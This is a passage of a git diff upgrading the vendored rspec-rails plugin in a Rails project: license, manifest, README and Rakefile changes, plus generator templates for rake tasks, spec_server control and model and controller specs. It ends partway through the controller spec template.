+++ b/vendor/plugins/rspec-rails/License.txt
@@ -1,14 +1,16 @@
+(The MIT License)
+
====================================================================
-== RSpec
-Copyright (c) 2005-2007 The RSpec Development Team
+==== RSpec, RSpec-Rails
+Copyright (c) 2005-2008 The RSpec Development Team
====================================================================
-== ARTS
+==== ARTS
Copyright (c) 2006 Kevin Clark, Jake Howerton
====================================================================
-== ZenTest
+==== ZenTest
Copyright (c) 2001-2006 Ryan Davis, Eric Hodel, Zen Spider Software
====================================================================
-== AssertSelect
+==== AssertSelect
Copyright (c) 2006 Assaf Arkin
====================================================================
diff --git a/vendor/plugins/rspec-rails/Manifest.txt b/vendor/plugins/rspec-rails/Manifest.txt
new file mode 100644
index 00000000..73559367
--- /dev/null
+++ b/vendor/plugins/rspec-rails/Manifest.txt
@@ -0,0 +1,159 @@
+History.txt
+License.txt
+Manifest.txt
+README.txt
+Rakefile
+UPGRADE
+generators/rspec/CHANGES
+generators/rspec/rspec_generator.rb
+generators/rspec/templates/all_stories.rb
+generators/rspec/templates/previous_failures.txt
+generators/rspec/templates/rcov.opts
+generators/rspec/templates/rspec.rake
+generators/rspec/templates/script/autospec
+generators/rspec/templates/script/spec
+generators/rspec/templates/script/spec_server
+generators/rspec/templates/spec.opts
+generators/rspec/templates/spec_helper.rb
+generators/rspec/templates/stories_helper.rb
+generators/rspec_controller/USAGE
+generators/rspec_controller/rspec_controller_generator.rb
+generators/rspec_controller/templates/controller_spec.rb
+generators/rspec_controller/templates/helper_spec.rb
+generators/rspec_controller/templates/view_spec.rb
+generators/rspec_default_values.rb
+generators/rspec_model/USAGE
+generators/rspec_model/rspec_model_generator.rb
+generators/rspec_model/templates/model_spec.rb
+generators/rspec_scaffold/rspec_scaffold_generator.rb
+generators/rspec_scaffold/templates/controller_spec.rb
+generators/rspec_scaffold/templates/edit_erb_spec.rb
+generators/rspec_scaffold/templates/helper_spec.rb
+generators/rspec_scaffold/templates/index_erb_spec.rb
+generators/rspec_scaffold/templates/new_erb_spec.rb
+generators/rspec_scaffold/templates/routing_spec.rb
+generators/rspec_scaffold/templates/show_erb_spec.rb
+init.rb
+lib/autotest/discover.rb
+lib/autotest/rails_rspec.rb
+lib/spec/rails.rb
+lib/spec/rails/example.rb
+lib/spec/rails/example/assigns_hash_proxy.rb
+lib/spec/rails/example/controller_example_group.rb
+lib/spec/rails/example/cookies_proxy.rb
+lib/spec/rails/example/functional_example_group.rb
+lib/spec/rails/example/helper_example_group.rb
+lib/spec/rails/example/model_example_group.rb
+lib/spec/rails/example/rails_example_group.rb
+lib/spec/rails/example/render_observer.rb
+lib/spec/rails/example/view_example_group.rb
+lib/spec/rails/extensions.rb
+lib/spec/rails/extensions/action_controller/base.rb
+lib/spec/rails/extensions/action_controller/rescue.rb
+lib/spec/rails/extensions/action_controller/test_response.rb
+lib/spec/rails/extensions/action_view/base.rb
+lib/spec/rails/extensions/active_record/base.rb
+lib/spec/rails/extensions/object.rb
+lib/spec/rails/extensions/spec/example/configuration.rb
+lib/spec/rails/extensions/spec/matchers/have.rb
+lib/spec/rails/interop/testcase.rb
+lib/spec/rails/matchers.rb
+lib/spec/rails/matchers/assert_select.rb
+lib/spec/rails/matchers/change.rb
+lib/spec/rails/matchers/have_text.rb
+lib/spec/rails/matchers/include_text.rb
+lib/spec/rails/matchers/redirect_to.rb
+lib/spec/rails/matchers/render_template.rb
+lib/spec/rails/mocks.rb
+lib/spec/rails/story_adapter.rb
+lib/spec/rails/version.rb
+spec/rails/autotest/mappings_spec.rb
+spec/rails/example/assigns_hash_proxy_spec.rb
+spec/rails/example/configuration_spec.rb
+spec/rails/example/controller_isolation_spec.rb
+spec/rails/example/controller_spec_spec.rb
+spec/rails/example/cookies_proxy_spec.rb
+spec/rails/example/example_group_factory_spec.rb
+spec/rails/example/helper_spec_spec.rb
+spec/rails/example/model_spec_spec.rb
+spec/rails/example/shared_behaviour_spec.rb
+spec/rails/example/test_unit_assertion_accessibility_spec.rb
+spec/rails/example/view_spec_spec.rb
+spec/rails/extensions/action_controller_rescue_action_spec.rb
+spec/rails/extensions/action_view_base_spec.rb
+spec/rails/extensions/active_record_spec.rb
+spec/rails/interop/testcase_spec.rb
+spec/rails/matchers/assert_select_spec.rb
+spec/rails/matchers/description_generation_spec.rb
+spec/rails/matchers/errors_on_spec.rb
+spec/rails/matchers/have_text_spec.rb
+spec/rails/matchers/include_text_spec.rb
+spec/rails/matchers/redirect_to_spec.rb
+spec/rails/matchers/render_template_spec.rb
+spec/rails/matchers/should_change_spec.rb
+spec/rails/mocks/ar_classes.rb
+spec/rails/mocks/mock_model_spec.rb
+spec/rails/mocks/stub_model_spec.rb
+spec/rails/sample_modified_fixture.rb
+spec/rails/sample_spec.rb
+spec/rails/spec_server_spec.rb
+spec/rails/spec_spec.rb
+spec/rails_suite.rb
+spec/spec_helper.rb
+spec_resources/controllers/action_view_base_spec_controller.rb
+spec_resources/controllers/controller_spec_controller.rb
+spec_resources/controllers/redirect_spec_controller.rb
+spec_resources/controllers/render_spec_controller.rb
+spec_resources/controllers/rjs_spec_controller.rb
+spec_resources/helpers/explicit_helper.rb
+spec_resources/helpers/more_explicit_helper.rb
+spec_resources/helpers/plugin_application_helper.rb
+spec_resources/helpers/view_spec_helper.rb
+spec_resources/views/controller_spec/_partial.rhtml
+spec_resources/views/controller_spec/action_setting_flash_after_session_reset.rhtml
+spec_resources/views/controller_spec/action_setting_flash_before_session_reset.rhtml
+spec_resources/views/controller_spec/action_setting_the_assigns_hash.rhtml
+spec_resources/views/controller_spec/action_with_errors_in_template.rhtml
+spec_resources/views/controller_spec/action_with_template.rhtml
+spec_resources/views/layouts/application.rhtml
+spec_resources/views/layouts/simple.rhtml
+spec_resources/views/objects/_object.html.erb
+spec_resources/views/render_spec/_a_partial.rhtml
+spec_resources/views/render_spec/action_with_alternate_layout.rhtml
+spec_resources/views/render_spec/some_action.js.rjs
+spec_resources/views/render_spec/some_action.rhtml
+spec_resources/views/render_spec/some_action.rjs
+spec_resources/views/rjs_spec/_replacement_partial.rhtml
+spec_resources/views/rjs_spec/hide_div.rjs
+spec_resources/views/rjs_spec/hide_page_element.rjs
+spec_resources/views/rjs_spec/insert_html.rjs
+spec_resources/views/rjs_spec/replace.rjs
+spec_resources/views/rjs_spec/replace_html.rjs
+spec_resources/views/rjs_spec/replace_html_with_partial.rjs
+spec_resources/views/rjs_spec/visual_effect.rjs
+spec_resources/views/rjs_spec/visual_toggle_effect.rjs
+spec_resources/views/tag_spec/no_tags.rhtml
+spec_resources/views/tag_spec/single_div_with_no_attributes.rhtml
+spec_resources/views/tag_spec/single_div_with_one_attribute.rhtml
+spec_resources/views/view_spec/_partial.rhtml
+spec_resources/views/view_spec/_partial_used_twice.rhtml
+spec_resources/views/view_spec/_partial_with_local_variable.rhtml
+spec_resources/views/view_spec/_partial_with_sub_partial.rhtml
+spec_resources/views/view_spec/_spacer.rhtml
+spec_resources/views/view_spec/accessor.rhtml
+spec_resources/views/view_spec/block_helper.rhtml
+spec_resources/views/view_spec/entry_form.rhtml
+spec_resources/views/view_spec/explicit_helper.rhtml
+spec_resources/views/view_spec/foo/show.rhtml
+spec_resources/views/view_spec/implicit_helper.rhtml
+spec_resources/views/view_spec/multiple_helpers.rhtml
+spec_resources/views/view_spec/should_not_receive.rhtml
+spec_resources/views/view_spec/template_with_partial.rhtml
+spec_resources/views/view_spec/template_with_partial_using_collection.rhtml
+spec_resources/views/view_spec/template_with_partial_with_array.rhtml
+stories/all.rb
+stories/configuration/stories.rb
+stories/helper.rb
+stories/steps/people.rb
+stories/transactions_should_rollback
+stories/transactions_should_rollback.rb
diff --git a/vendor/plugins/rspec-rails/README b/vendor/plugins/rspec-rails/README
deleted file mode 100644
index 9008b8a5..00000000
--- a/vendor/plugins/rspec-rails/README
+++ /dev/null
@@ -1,3 +0,0 @@
-See the rdoc for Spec::Rails for usage documentation.
-
-See ~/rspec/README for instructions on running rspec_on_rails' examples.
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/README.txt b/vendor/plugins/rspec-rails/README.txt
new file mode 100644
index 00000000..d8794f3f
--- /dev/null
+++ b/vendor/plugins/rspec-rails/README.txt
@@ -0,0 +1,46 @@
+= Spec::Rails
+
+* http://rspec.info
+* http://rspec.info/rdoc-rails/
+* http://rubyforge.org/projects/rspec
+* http://github.com/dchelimsky/rspec-rails/wikis
+* mailto:rspec-devel@rubyforge.org
+
+== DESCRIPTION:
+
+Behaviour Driven Development for Ruby on Rails.
+
+Spec::Rails (a.k.a. RSpec on Rails) is a Ruby on Rails plugin that allows you
+to drive the development of your RoR application using RSpec, a framework that
+aims to enable Example Driven Development in Ruby.
+
+== FEATURES:
+
+* Use RSpec to independently specify Rails Models, Views, Controllers and Helpers
+* Integrated fixture loading
+* Special generators for Resources, Models, Views and Controllers that generate Specs instead of Tests.
+
+== VISION:
+
+For people for whom TDD is a brand new concept, the testing support built into
+Ruby on Rails is a huge leap forward. The fact that it is built right in is
+fantastic, and Ruby on Rails apps are generally much easier to maintain than
+they might have been without such support.
+
+For those of us coming from a history with TDD, and now BDD, the existing
+support presents some problems related to dependencies across examples. To
+that end, RSpec on Rails supports 4 types of examples. We’ve also built in
+first class mocking and stubbing support in order to break dependencies across
+these different concerns.
+
+== MORE INFORMATION:
+
+See Spec::Rails::Runner for information about the different kinds of example
+groups you can use to spec the different Rails components
+
+See Spec::Rails::Expectations for information about Rails-specific
+expectations you can set on responses and models, etc.
+
+== INSTALL
+
+* Visit http://github.com/dchelimsky/rspec-rails/wikis for installation instructions.
diff --git a/vendor/plugins/rspec-rails/Rakefile b/vendor/plugins/rspec-rails/Rakefile
index 39b5d225..f981712c 100644
--- a/vendor/plugins/rspec-rails/Rakefile
+++ b/vendor/plugins/rspec-rails/Rakefile
@@ -1,9 +1,39 @@
-require 'rake'
-require 'rake/rdoctask'
+require 'rubygems'
+require 'hoe'
+require './lib/spec/rails/version'
-desc 'Generate RDoc'
-rd = Rake::RDocTask.new do |rdoc|
- rdoc.rdoc_dir = '../doc/output/rdoc-rails'
- rdoc.options << '--title' << 'Spec::Rails' << '--line-numbers' << '--inline-source' << '--main' << 'Spec::Rails'
- rdoc.rdoc_files.include('MIT-LICENSE', 'lib/**/*.rb')
+class Hoe
+ def extra_deps
+ @extra_deps.reject! { |x| Array(x).first == 'hoe' }
+ @extra_deps
+ end
end
+
+Hoe.new('rspec-rails', Spec::Rails::VERSION::STRING) do |p|
+ p.summary = Spec::Rails::VERSION::SUMMARY
+ p.url = 'http://rspec.info/'
+ p.description = "Behaviour Driven Development for Ruby on Rails."
+ p.rubyforge_name = 'rspec'
+ p.developer('RSpec Development Team', 'rspec-devel@rubyforge.org')
+ p.extra_deps = [["rspec","1.1.8"]]
+ p.remote_rdoc_dir = "rspec-rails/#{Spec::Rails::VERSION::STRING}"
+end
+
+['audit','test','test_deps','default','post_blog', 'release'].each do |task|
+ Rake.application.instance_variable_get('@tasks').delete(task)
+end
+
+task :release => [:clean, :package] do |t|
+ version = ENV["VERSION"] or abort "Must supply VERSION=x.y.z"
+ abort "Versions don't match #{version} vs #{Spec::Rails::VERSION::STRING}" unless version == Spec::Rails::VERSION::STRING
+ pkg = "pkg/rspec-rails-#{version}"
+
+ rubyforge = RubyForge.new.configure
+ puts "Logging in to rubyforge ..."
+ rubyforge.login
+
+ puts "Releasing rspec-rails version #{version} ..."
+ ["#{pkg}.gem", "#{pkg}.tgz"].each do |file|
+ rubyforge.add_file('rspec', 'rspec', Spec::Rails::VERSION::STRING, file)
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec/UPGRADE b/vendor/plugins/rspec-rails/UPGRADE
similarity index 53%
rename from vendor/plugins/rspec/UPGRADE
rename to vendor/plugins/rspec-rails/UPGRADE
index 923b3153..dd2c4ac1 100644
--- a/vendor/plugins/rspec/UPGRADE
+++ b/vendor/plugins/rspec-rails/UPGRADE
@@ -1,7 +1,7 @@
-== Spec::Rails
+== Upgrade
script/generate rspec
Or modify spec_helper.rb based on the template, which can be found at:
- vendor/plugins/rspec_on_rails/generators/rspec/templates/spec_helper.rb
\ No newline at end of file
+ vendor/plugins/rspec-rails/generators/rspec/templates/spec_helper.rb
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/generators/rspec/rspec_generator.rb b/vendor/plugins/rspec-rails/generators/rspec/rspec_generator.rb
index d5512e38..a0aedfad 100644
--- a/vendor/plugins/rspec-rails/generators/rspec/rspec_generator.rb
+++ b/vendor/plugins/rspec-rails/generators/rspec/rspec_generator.rb
@@ -6,6 +6,7 @@ class RspecGenerator < Rails::Generator::Base
Config::CONFIG['ruby_install_name'])
def initialize(runtime_args, runtime_options = {})
+ Dir.mkdir('lib/tasks') unless File.directory?('lib/tasks')
super
end
@@ -13,12 +14,16 @@ class RspecGenerator < Rails::Generator::Base
record do |m|
script_options = { :chmod => 0755, :shebang => options[:shebang] == DEFAULT_SHEBANG ? nil : options[:shebang] }
- m.directory 'spec'
- m.template 'spec_helper.rb', 'spec/spec_helper.rb'
- m.file 'spec.opts', 'spec/spec.opts'
- m.file 'rcov.opts', 'spec/rcov.opts'
- m.file 'script/spec_server', 'script/spec_server', script_options
+ m.file 'rspec.rake', 'lib/tasks/rspec.rake'
+
+ m.file 'script/autospec', 'script/autospec', script_options
m.file 'script/spec', 'script/spec', script_options
+ m.file 'script/spec_server', 'script/spec_server', script_options
+
+ m.directory 'spec'
+ m.file 'rcov.opts', 'spec/rcov.opts'
+ m.file 'spec.opts', 'spec/spec.opts'
+ m.template 'spec_helper.rb', 'spec/spec_helper.rb'
m.directory 'stories'
m.file 'all_stories.rb', 'stories/all.rb'
diff --git a/vendor/plugins/rspec-rails/generators/rspec/templates/rspec.rake b/vendor/plugins/rspec-rails/generators/rspec/templates/rspec.rake
new file mode 100644
index 00000000..2a478a8b
--- /dev/null
+++ b/vendor/plugins/rspec-rails/generators/rspec/templates/rspec.rake
@@ -0,0 +1,132 @@
+raise "To avoid rake task loading problems: run 'rake clobber' in vendor/plugins/rspec" if File.directory?(File.join(File.dirname(__FILE__), *%w[.. .. vendor plugins rspec pkg]))
+raise "To avoid rake task loading problems: run 'rake clobber' in vendor/plugins/rspec-rails" if File.directory?(File.join(File.dirname(__FILE__), *%w[.. .. vendor plugins rspec-rails pkg]))
+
+# In rails 1.2, plugins aren't available in the path until they're loaded.
+# Check to see if the rspec plugin is installed first and require
+# it if it is. If not, use the gem version.
+rspec_base = File.expand_path(File.dirname(__FILE__) + '/../../vendor/plugins/rspec/lib')
+$LOAD_PATH.unshift(rspec_base) if File.exist?(rspec_base)
+require 'spec/rake/spectask'
+
+spec_prereq = File.exist?(File.join(RAILS_ROOT, 'config', 'database.yml')) ? "db:test:prepare" : :noop
+task :noop do
+end
+
+task :default => :spec
+task :stats => "spec:statsetup"
+
+desc "Run all specs in spec directory (excluding plugin specs)"
+Spec::Rake::SpecTask.new(:spec => spec_prereq) do |t|
+ t.spec_opts = ['--options', "\"#{RAILS_ROOT}/spec/spec.opts\""]
+ t.spec_files = FileList['spec/**/*_spec.rb']
+end
+
+namespace :spec do
+ desc "Run all specs in spec directory with RCov (excluding plugin specs)"
+ Spec::Rake::SpecTask.new(:rcov) do |t|
+ t.spec_opts = ['--options', "\"#{RAILS_ROOT}/spec/spec.opts\""]
+ t.spec_files = FileList['spec/**/*_spec.rb']
+ t.rcov = true
+ t.rcov_opts = lambda do
+ IO.readlines("#{RAILS_ROOT}/spec/rcov.opts").map {|l| l.chomp.split " "}.flatten
+ end
+ end
+
+ desc "Print Specdoc for all specs (excluding plugin specs)"
+ Spec::Rake::SpecTask.new(:doc) do |t|
+ t.spec_opts = ["--format", "specdoc", "--dry-run"]
+ t.spec_files = FileList['spec/**/*_spec.rb']
+ end
+
+ desc "Print Specdoc for all plugin specs"
+ Spec::Rake::SpecTask.new(:plugin_doc) do |t|
+ t.spec_opts = ["--format", "specdoc", "--dry-run"]
+ t.spec_files = FileList['vendor/plugins/**/spec/**/*_spec.rb'].exclude('vendor/plugins/rspec/*')
+ end
+
+ [:models, :controllers, :views, :helpers, :lib].each do |sub|
+ desc "Run the specs under spec/#{sub}"
+ Spec::Rake::SpecTask.new(sub => spec_prereq) do |t|
+ t.spec_opts = ['--options', "\"#{RAILS_ROOT}/spec/spec.opts\""]
+ t.spec_files = FileList["spec/#{sub}/**/*_spec.rb"]
+ end
+ end
+
+ desc "Run the specs under vendor/plugins (except RSpec's own)"
+ Spec::Rake::SpecTask.new(:plugins => spec_prereq) do |t|
+ t.spec_opts = ['--options', "\"#{RAILS_ROOT}/spec/spec.opts\""]
+ t.spec_files = FileList['vendor/plugins/**/spec/**/*_spec.rb'].exclude('vendor/plugins/rspec/*').exclude("vendor/plugins/rspec-rails/*")
+ end
+
+ namespace :plugins do
+ desc "Runs the examples for rspec_on_rails"
+ Spec::Rake::SpecTask.new(:rspec_on_rails) do |t|
+ t.spec_opts = ['--options', "\"#{RAILS_ROOT}/spec/spec.opts\""]
+ t.spec_files = FileList['vendor/plugins/rspec-rails/spec/**/*_spec.rb']
+ end
+ end
+
+ # Setup specs for stats
+ task :statsetup do
+ require 'code_statistics'
+ ::STATS_DIRECTORIES << %w(Model\ specs spec/models) if File.exist?('spec/models')
+ ::STATS_DIRECTORIES << %w(View\ specs spec/views) if File.exist?('spec/views')
+ ::STATS_DIRECTORIES << %w(Controller\ specs spec/controllers) if File.exist?('spec/controllers')
+ ::STATS_DIRECTORIES << %w(Helper\ specs spec/helpers) if File.exist?('spec/helpers')
+ ::STATS_DIRECTORIES << %w(Library\ specs spec/lib) if File.exist?('spec/lib')
+ ::CodeStatistics::TEST_TYPES << "Model specs" if File.exist?('spec/models')
+ ::CodeStatistics::TEST_TYPES << "View specs" if File.exist?('spec/views')
+ ::CodeStatistics::TEST_TYPES << "Controller specs" if File.exist?('spec/controllers')
+ ::CodeStatistics::TEST_TYPES << "Helper specs" if File.exist?('spec/helpers')
+ ::CodeStatistics::TEST_TYPES << "Library specs" if File.exist?('spec/lib')
+ ::STATS_DIRECTORIES.delete_if {|a| a[0] =~ /test/}
+ end
+
+ namespace :db do
+ namespace :fixtures do
+ desc "Load fixtures (from spec/fixtures) into the current environment's database. Load specific fixtures using FIXTURES=x,y"
+ task :load => :environment do
+ require 'active_record/fixtures'
+ ActiveRecord::Base.establish_connection(RAILS_ENV.to_sym)
+ (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir.glob(File.join(RAILS_ROOT, 'spec', 'fixtures', '*.{yml,csv}'))).each do |fixture_file|
+ Fixtures.create_fixtures('spec/fixtures', File.basename(fixture_file, '.*'))
+ end
+ end
+ end
+ end
+
+ namespace :server do
+ daemonized_server_pid = File.expand_path("spec_server.pid", RAILS_ROOT + "/tmp")
+
+ desc "start spec_server."
+ task :start do
+ if File.exist?(daemonized_server_pid)
+ $stderr.puts "spec_server is already running."
+ else
+ $stderr.puts "Starting up spec server."
+ system("ruby", "script/spec_server", "--daemon", "--pid", daemonized_server_pid)
+ end
+ end
+
+ desc "stop spec_server."
+ task :stop do
+ unless File.exist?(daemonized_server_pid)
+ $stderr.puts "No server running."
+ else
+ $stderr.puts "Shutting down spec_server."
+ system("kill", "-s", "TERM", File.read(daemonized_server_pid).strip) &&
+ File.delete(daemonized_server_pid)
+ end
+ end
+
+ desc "reload spec_server."
+ task :restart do
+ unless File.exist?(daemonized_server_pid)
+ $stderr.puts "No server running."
+ else
+ $stderr.puts "Reloading down spec_server."
+ system("kill", "-s", "USR2", File.read(daemonized_server_pid).strip)
+ end
+ end
+ end
+end
diff --git a/vendor/plugins/rspec-rails/generators/rspec/templates/script/autospec b/vendor/plugins/rspec-rails/generators/rspec/templates/script/autospec
new file mode 100644
index 00000000..82a314f1
--- /dev/null
+++ b/vendor/plugins/rspec-rails/generators/rspec/templates/script/autospec
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+ENV['RSPEC'] = 'true' # allows autotest to discover rspec
+ENV['AUTOTEST'] = 'true' # allows autotest to run w/ color on linux
+system (RUBY_PLATFORM =~ /mswin|mingw/ ? 'autotest.bat' : 'autotest'), *ARGV
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/generators/rspec/templates/script/spec b/vendor/plugins/rspec-rails/generators/rspec/templates/script/spec
index d8155657..c54cba1b 100644
--- a/vendor/plugins/rspec-rails/generators/rspec/templates/script/spec
+++ b/vendor/plugins/rspec-rails/generators/rspec/templates/script/spec
@@ -1,4 +1,5 @@
#!/usr/bin/env ruby
$LOAD_PATH.unshift(File.expand_path(File.dirname(__FILE__) + "/../vendor/plugins/rspec/lib"))
+require 'rubygems'
require 'spec'
exit ::Spec::Runner::CommandLine.run(::Spec::Runner::OptionParser.parse(ARGV, STDERR, STDOUT))
diff --git a/vendor/plugins/rspec-rails/generators/rspec_default_values.rb b/vendor/plugins/rspec-rails/generators/rspec_default_values.rb
new file mode 100644
index 00000000..9e18542f
--- /dev/null
+++ b/vendor/plugins/rspec-rails/generators/rspec_default_values.rb
@@ -0,0 +1,19 @@
+module Rails
+ module Generator
+ class GeneratedAttribute
+ def default_value
+ @default_value ||= case type
+ when :int, :integer then "\"1\""
+ when :float then "\"1.5\""
+ when :decimal then "\"9.99\""
+ when :datetime, :timestamp, :time then "Time.now"
+ when :date then "Date.today"
+ when :string, :text then "\"value for #{@name}\""
+ when :boolean then "false"
+ else
+ ""
+ end
+ end
+ end
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/generators/rspec_model/rspec_model_generator.rb b/vendor/plugins/rspec-rails/generators/rspec_model/rspec_model_generator.rb
index 7f5e3494..66e873e3 100755
--- a/vendor/plugins/rspec-rails/generators/rspec_model/rspec_model_generator.rb
+++ b/vendor/plugins/rspec-rails/generators/rspec_model/rspec_model_generator.rb
@@ -1,4 +1,5 @@
require 'rails_generator/generators/components/model/model_generator'
+require File.dirname(__FILE__) + '/../rspec_default_values'
class RspecModelGenerator < ModelGenerator
@@ -11,12 +12,16 @@ class RspecModelGenerator < ModelGenerator
# Model, spec, and fixture directories.
m.directory File.join('app/models', class_path)
m.directory File.join('spec/models', class_path)
- m.directory File.join('spec/fixtures', class_path)
+ unless options[:skip_fixture]
+ m.directory File.join('spec/fixtures', class_path)
+ end
# Model class, spec and fixtures.
m.template 'model:model.rb', File.join('app/models', class_path, "#{file_name}.rb")
- m.template 'model:fixtures.yml', File.join('spec/fixtures', class_path, "#{table_name}.yml")
m.template 'model_spec.rb', File.join('spec/models', class_path, "#{file_name}_spec.rb")
+ unless options[:skip_fixture]
+ m.template 'model:fixtures.yml', File.join('spec/fixtures', "#{table_name}.yml")
+ end
unless options[:skip_migration]
m.migration_template 'model:migration.rb', 'db/migrate', :assigns => {
diff --git a/vendor/plugins/rspec-rails/generators/rspec_model/templates/model_spec.rb b/vendor/plugins/rspec-rails/generators/rspec_model/templates/model_spec.rb
index 648908b4..5c0fe637 100755
--- a/vendor/plugins/rspec-rails/generators/rspec_model/templates/model_spec.rb
+++ b/vendor/plugins/rspec-rails/generators/rspec_model/templates/model_spec.rb
@@ -2,10 +2,14 @@ require File.expand_path(File.dirname(__FILE__) + '<%= '/..' * class_nesting_dep
describe <%= class_name %> do
before(:each) do
- @<%= file_name %> = <%= class_name %>.new
+ @valid_attributes = {
+<% attributes.each_with_index do |attribute, attribute_index| -%>
+ :<%= attribute.name %> => <%= attribute.default_value %><%= attribute_index == attributes.length - 1 ? '' : ','%>
+<% end -%>
+ }
end
- it "should be valid" do
- @<%= file_name %>.should be_valid
+ it "should create a new instance given valid attributes" do
+ <%= class_name %>.create!(@valid_attributes)
end
end
diff --git a/vendor/plugins/rspec-rails/generators/rspec_scaffold/rspec_scaffold_generator.rb b/vendor/plugins/rspec-rails/generators/rspec_scaffold/rspec_scaffold_generator.rb
index 0dab8250..628db3fb 100644
--- a/vendor/plugins/rspec-rails/generators/rspec_scaffold/rspec_scaffold_generator.rb
+++ b/vendor/plugins/rspec-rails/generators/rspec_scaffold/rspec_scaffold_generator.rb
@@ -1,3 +1,5 @@
+require File.dirname(__FILE__) + '/../rspec_default_values'
+
class RspecScaffoldGenerator < Rails::Generator::NamedBase
default_options :skip_migration => false
@@ -140,21 +142,6 @@ end
module Rails
module Generator
class GeneratedAttribute
- def default_value
- @default_value ||= case type
- when :int, :integer then "\"1\""
- when :float then "\"1.5\""
- when :decimal then "\"9.99\""
- when :datetime, :timestamp, :time then "Time.now"
- when :date then "Date.today"
- when :string then "\"MyString\""
- when :text then "\"MyText\""
- when :boolean then "false"
- else
- ""
- end
- end
-
def input_type
@input_type ||= case type
when :text then "textarea"
diff --git a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/controller_spec.rb b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/controller_spec.rb
index ae7b1a70..3ebef1ec 100755
--- a/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/controller_spec.rb
+++ b/vendor/plugins/rspec-rails/generators/rspec_scaffold/templates/controller_spec.rb
@@ -1,313 +1,173 @@
require File.expand_path(File.dirname(__FILE__) + '<%= '/..' * class_nesting_depth %>/../spec_helper')
describe <%= controller_class_name %>Controller do
- describe "handling GET /<%= table_name %>" do
- before(:each) do
- @<%= file_name %> = mock_model(<%= class_name %>)
- <%= class_name %>.stub!(:find).and_return([@<%= file_name %>])
- end
+ def mock_<%= file_name %>(stubs={})
+ @mock_<%= file_name %> ||= mock_model(<%= class_name %>, stubs)
+ end
- def do_get
+ describe "responding to GET index" do
+
+ it "should expose all <%= table_name.pluralize %> as @<%= table_name.pluralize %>" do
+ <%= class_name %>.should_receive(:find).with(:all).and_return([mock_<%= file_name %>])
get :index
- end
-
- it "should be successful" do
- do_get
- response.should be_success
+ assigns[:<%= table_name %>].should == [mock_<%= file_name %>]
end
- it "should render index template" do
- do_get
- response.should render_template('index')
- end
+ describe "with mime type of xml" do
- it "should find all <%= table_name %>" do
- <%= class_name %>.should_receive(:find).with(:all).and_return([@<%= file_name %>])
- do_get
- end
-
- it "should assign the found <%= table_name %> for the view" do
- do_get
- assigns[:<%= table_name %>].should == [@<%= file_name %>]
+ it "should render all <%= table_name.pluralize %> as xml" do
+ request.env["HTTP_ACCEPT"] = "application/xml"
+ <%= class_name %>.should_receive(:find).with(:all).and_return(<%= file_name.pluralize %> = mock("Array of <%= class_name.pluralize %>"))
+ <%= file_name.pluralize %>.should_receive(:to_xml).and_return("generated XML")
+ get :index
+ response.body.should == "generated XML"
+ end
+
end
+
end
- describe "handling GET /<%= table_name %>.xml" do
+ describe "responding to GET show" do
- before(:each) do
- @<%= file_name.pluralize %> = mock("Array of <%= class_name.pluralize %>", :to_xml => "XML")
- <%= class_name %>.stub!(:find).and_return(@<%= file_name.pluralize %>)
- end
-
- def do_get
- @request.env["HTTP_ACCEPT"] = "application/xml"
- get :index
- end
-
- it "should be successful" do
- do_get
- response.should be_success
- end
-
- it "should find all <%= table_name %>" do
- <%= class_name %>.should_receive(:find).with(:all).and_return(@<%= file_name.pluralize %>)
- do_get
- end
-
- it "should render the found <%= table_name %> as xml" do
- @<%= file_name.pluralize %>.should_receive(:to_xml).and_return("XML")
- do_get
- response.body.should == "XML"
- end
- end
-
- describe "handling GET /<%= table_name %>/1" do
-
- before(:each) do
- @<%= file_name %> = mock_model(<%= class_name %>)
- <%= class_name %>.stub!(:find).and_return(@<%= file_name %>)
- end
-
- def do_get
- get :show, :id => "1"
- end
-
- it "should be successful" do
- do_get
- response.should be_success
- end
-
- it "should render show template" do
- do_get
- response.should render_template('show')
- end
-
- it "should find the <%= file_name %> requested" do
- <%= class_name %>.should_receive(:find).with("1").and_return(@<%= file_name %>)
- do_get
- end
-
- it "should assign the found <%= file_name %> for the view" do
- do_get
- assigns[:<%= file_name %>].should equal(@<%= file_name %>)
- end
- end
-
- describe "handling GET /<%= table_name %>/1.xml" do
-
- before(:each) do
- @<%= file_name %> = mock_model(<%= class_name %>, :to_xml => "XML")
- <%= class_name %>.stub!(:find).and_return(@<%= file_name %>)
- end
-
- def do_get
- @request.env["HTTP_ACCEPT"] = "application/xml"
- get :show, :id => "1"
- end
-
- it "should be successful" do
- do_get
- response.should be_success
- end
-
- it "should find the <%= file_name %> requested" do
- <%= class_name %>.should_receive(:find).with("1").and_return(@<%= file_name %>)
- do_get
- end
-
- it "should render the found <%= file_name %> as xml" do
- @<%= file_name %>.should_receive(:to_xml).and_return("XML")
- do_get
- response.body.should == "XML"
- end
- end
-
- describe "handling GET /<%= table_name %>/new" do
-
- before(:each) do
- @<%= file_name %> = mock_model(<%= class_name %>)
- <%= class_name %>.stub!(:new).and_return(@<%= file_name %>)
- end
-
- def do_get
- get :new
- end
-
- it "should be successful" do
- do_get
- response.should be_success
- end
-
- it "should render new template" do
- do_get
- response.should render_template('new')
- end
-
- it "should create an new <%= file_name %>" do
- <%= class_name %>.should_receive(:new).and_return(@<%= file_name %>)
- do_get
- end
-
- it "should not save the new <%= file_name %>" do
- @<%= file_name %>.should_not_receive(:save)
- do_get
- end
-
- it "should assign the new <%= file_name %> for the view" do
- do_get
- assigns[:<%= file_name %>].should equal(@<%= file_name %>)
- end
- end
-
- describe "handling GET /<%= table_name %>/1/edit" do
-
- before(:each) do
- @<%= file_name %> = mock_model(<%= class_name %>)
- <%= class_name %>.stub!(:find).and_return(@<%= file_name %>)
- end
-
- def do_get
- get :edit, :id => "1"
- end
-
- it "should be successful" do
- do_get
- response.should be_success
- end
-
- it "should render edit template" do
- do_get
- response.should render_template('edit')
- end
-
- it "should find the <%= file_name %> requested" do
- <%= class_name %>.should_receive(:find).and_return(@<%= file_name %>)
- do_get
- end
-
- it "should assign the found <%= class_name %> for the view" do
- do_get
